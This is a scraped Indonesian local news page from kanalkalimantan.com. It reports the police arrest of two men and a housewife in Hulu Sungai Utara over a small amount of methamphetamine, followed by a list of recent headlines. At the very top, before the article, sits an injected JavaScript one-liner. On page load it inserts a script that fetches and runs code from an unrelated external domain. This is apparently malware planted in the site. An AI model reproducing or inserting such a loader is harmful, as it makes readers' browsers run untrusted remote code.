(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Gagal Nyabu Bareng, Seorang Ibu Rumah Tangga Bersama Dua Pria di HSU Dibekuk Polisi


KANALKALIMANTAN.COM, AMUNTAI -Seorang Ibu Rumah Tangga (IRT) warga Barito Selatan (Barsel) bersama dua pria warga Kecamatan Babirik, Kabupaten Hulu Sungai Utara (HSU) dibekuk Satuan Reserse Narkoba Polres HSU, lantaran diduga terlibat peredaran narkoba jenis sabu.

Ketiganya berhasil diamankan saat berencana menggelar pesta sabu di dalam sebuah warung di desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten HSU, Rabu (5/4/2021) sore.

Hasilnya polisi menemukan Narkotika jenis sabu yang sudah dikerik dari pipet kaca dengan berat bersih 0,02 gram.

Baca juga: Berbagi Bantuan ke Warga Korban Kebakaran di Astambul

 

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada kanalkalimantan.com, Jum’at (7/5/2021) membenarkan adanya penangkapan ketiga pelaku saat menjalankan program HSU Bersinar (Hebat Sigap Untuk Bersih dari Narkoba).

Anggota menemukan Narkotika jenis sabu yang sudah dikerik dari pipet kaca dengan berat bersih 0,02 gram.

Menurutnya, penangkapan terhadap tiga pelaku ini bermula dari tindak lanjuti informasi masyarakat yang direspon Sat Resnarkoba Polres HSU.

Akhirnya pihaknya berhasil mengamankan SA (24) dan AH (27) dua pria warga Kecamatan Babirik Kabupaten HSU serta RA (21) seorang perempuan ibu rumah tangga warga Kabupaten Barsel, Kalimantan Tengah.

Baca juga: Silaturahmi Awak Pembuat Berita dengan Bupati Banjar

“Ketiga tersangka tertangkap tangan dan diamankan dari sebuah warung di desa Sungai Namang Kecamatan Danau Panggang,” Jelas Kasat Resnarkoba Iptu Siswadi.

Lebih Lanjut, Iptu Siswadi menjelaskan ketiga pelaku diamankan lantaran menyimpan, memiliki, menguasai sabu, mereka mengakui akan memakai sabu-sabu tersebut, tetapi keburu diamankan.

Selain barang bukti 0.02 gram, polisi juga menyita barang bukti lainnya seperti sebuah pipet kaca yang sudah dikerik, satu buah korek api, dua buah handphone dan satu unit sepeda motor milik salah satu pelaku.

Baca juga: Jelang Digelarnya PSU Pilgub Kalsel, Haji Denny Positif Covid-19

“Ketiga tersangka dan barang bukti dibawa ke ruangan Sat Res Narkoba Polres HSU untuk proses Penyidikan lebih lanjut sesuai pasal 114 Ayat (1) Atau 112 Ayat (1) JO 132 Ayat (1) UU RI No.35 Tahun 2009 Tentang Narkotika,” pungkas Kasat Resnarkoba Polres HSU. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Al Ghifari

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

4 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

4 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

5 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

16 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

17 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

17 jam ago

This website uses cookies.